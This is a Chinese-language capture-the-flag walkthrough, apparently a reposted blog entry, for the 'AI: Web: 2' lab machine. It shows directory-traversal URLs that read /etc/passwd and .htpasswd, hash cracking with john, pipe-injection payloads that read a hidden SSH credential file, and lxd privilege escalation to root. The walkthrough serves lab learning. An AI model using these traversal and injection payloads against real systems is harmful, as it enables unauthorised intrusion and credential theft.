AI: Web: 2靶机-Walkthrough

AI: Web: 2靶机-Walkthrough

靶机地址

Description:

Difficulty: Intermediate
Network: DHCP (Automatically assign)
Network Mode: NAT

This is the second box from the series AI: Web and you will have more fun to crack this challenge. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root.
You may need to crack password. Use wordlist SecLists/rockyou-45.txt by Mr. Daniel Miessler.
For any hint please tweet on @arif_xpress

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

netdiscover
nmap
dirsearch
searchsploit
john
目录穿越(Directory Traversal)漏洞
远程命令执行(RCE)漏洞
Ubuntu 18.04 - ‘lxd’ Privilege Escalation

一、信息收集

netdiscover -r 192.168.0.0/24

netdiscover
靶机IP:192.168.0.108

nmap -sS -sV -T4 -A -p- 192.168.0.108

nmap

80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: File Manager (Credit: XuezhuLi)

XuezhuLi可能是应用的一个用户

dirb http://192.168.0.108 -X .php,.html,.txt,.zip

dirb
登录时发现只有用户名,下载靶机描述里面提到的字典SecLists/rockyou-45.txt,对index.php页面进行爆破,无果

访问download.php页面结果自动把download.php下载下来了,还是个空文件。

注册了一个admin账户,登录进去发现啥也没有
admin

扫描二维码关注公众号,回复: 8716819 查看本文章

二、目录穿越获取后台账户密码

Google一下"XuezhuLi FileSharing"
XuezhuLi FileSharing
exploit-db
XuezhuLi FileSharing - Cross-Site Request Forgery (Add User)
XuezhuLi FileSharing - Directory Traversal

利用目录穿越(Directory Traversal)漏洞读取/etc/passwd

http://192.168.0.108/download.php?file_name=../../../../../../../../../../../../../etc/passwd

/etc/passwd
获得两个用户aiweb2n0nr00tuser,使用hydra爆破ssh密码,无果。

包含一下apache2的认证文件

http://192.168.0.108/download.php?file_name=../../../../../../../../../../../../../etc/apache2/.htpasswd

aiweb2admin:$apr1$VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/

john爆破一下,得到用户名:aiweb2admin密码:c.ronaldo

john --wordlist=/usr/share/wordlists/rockyou.txt htpwd.txt
john --show htpwd.txt

password
爆破管理后台,dirsearch需要自己从Github下载

python3 dirsearch.py -u http://192.168.0.108 -e .php,.txt,.zip

dirsearch

三、获得SSH账户密码

登录后台
webadmin
登录后获得提示:I disallowed some contents from robots.,访问/webadmin/robots.txt,内容如下:

User-agent: *
Disallow: 
Disallow: /H05Tpin9555/
Disallow: /S0mextras/

访问/webadmin/H05Tpin9555/
ping
看到这个就想到可能存在远程命令执行(RCE)漏洞

访问/webadmin/S0mextras/
看到提示:Find juicy information in this dir!!!
RCE
尝试了&&&;|四种绕过执行单一命令的限制,发现|可以绕过
RCE|根据第二个页面中的提示查看S0mextras目录下的信息,先看看当前目录
POST请求内容:ip=192.168.0.109|pwd&Submit=Submit,下同。
发现是/var/www/html/webadmin/H05Tpin9555

列出webadmin目录下有什么
ip=192.168.0.109|ls /var/www/html/webadmin/&Submit=Submit

H05Tpin9555
S0mextras
index.html
robots.txt

列出S0mextras目录下有什么
ip=192.168.0.109|ls -la /var/www/html/webadmin/S0mextras&Submit=Submit

这里无法正常识别-la参数,只能看到一个index.html文件,根据之前的提示里面应该还有其他的隐藏文件

find命令试一下
ip=192.168.0.109|find . -type f /var/www/html/webadmin/S0mextras/&Submit=Submit

./style-main.css
./index.php
/var/www/html/webadmin/S0mextras/
/var/www/html/webadmin/S0mextras/.sshUserCred55512.txt
/var/www/html/webadmin/S0mextras/index.html

从文件名上来看应该是ssh账号密码

cat读取隐藏文件
ip=192.168.0.109|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt&Submit=Submit

User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf

四、提权

sudo -l提示n0nr00tuser无权限执行sudo命令

uname -a
Linux aiweb2host 4.15.0-62-generic #69-Ubuntu SMP Wed Sep 4 20:55:53 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
4.15.0-62-generic

尝试内核提权

我使用了第一个脚本47164.sh,结果运行的时候提示如下错误,原因是这个脚本是作者在Windows系统下编辑的,由于不同系统编码格式不同,所以出了这样的错误。Linux系统下的转换方法是:使用vim打开脚本,设置脚本格式:set ff=unix,参考这篇文章
在这里插入图片描述
后来又提示靶机没有安装gcc,由于安装gcc时需要当前用户执行sudo apt install gcc,而当前用户没有权限使用sudo命令导致后续的操作无法进行,内核提权终止。

lxd漏洞提权

下载LinEnum到靶机,以搜集一些信息用于提权。

./LinEnum -r report.txt

因为输出内容太多,所以将结果保存到文件中,然后使用命令less report.txt查看,从头看到尾,就发现了这个lxd
report.txt
lxd
下载到靶机之后,给予可执行权限chmod +x 46978.sh,运行之后报错,因为这个脚本是在Windows系统里进行编辑的,不同系统之间的编码格式不一致,所以导致了这样的问题。查看脚本后,发现还需要下载另一个文件lxd-alpine-builder
在这里插入图片描述

运行build-alpine脚本的时候需要确保能够访问被墙的网络,因为脚本会下载一个apk文件,否则会报错,如下图所示:

build-alpine
脚本运行成功后会在同目录下生成一个压缩文件alpine-v3.10-x86_64-20190919_2303.tar.gz,每个人执行后文件的名称可能不完全一样,因为它会加上系统的当前时间,如下图所示:
alpine-v3.10-x86_64-20190919_2303.tar.gz
将这个压缩文件与之前的脚本46978.sh放于靶机的同目录下
get-root从图中可以看到第一次运行46978.sh的时候出错了,解决办法参考这篇文章
flag
如果您有其他的方法,欢迎留言。若文中有任何错误,恳请批评指正。

发布了41 篇原创文章 · 获赞 14 · 访问量 7938

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/100979450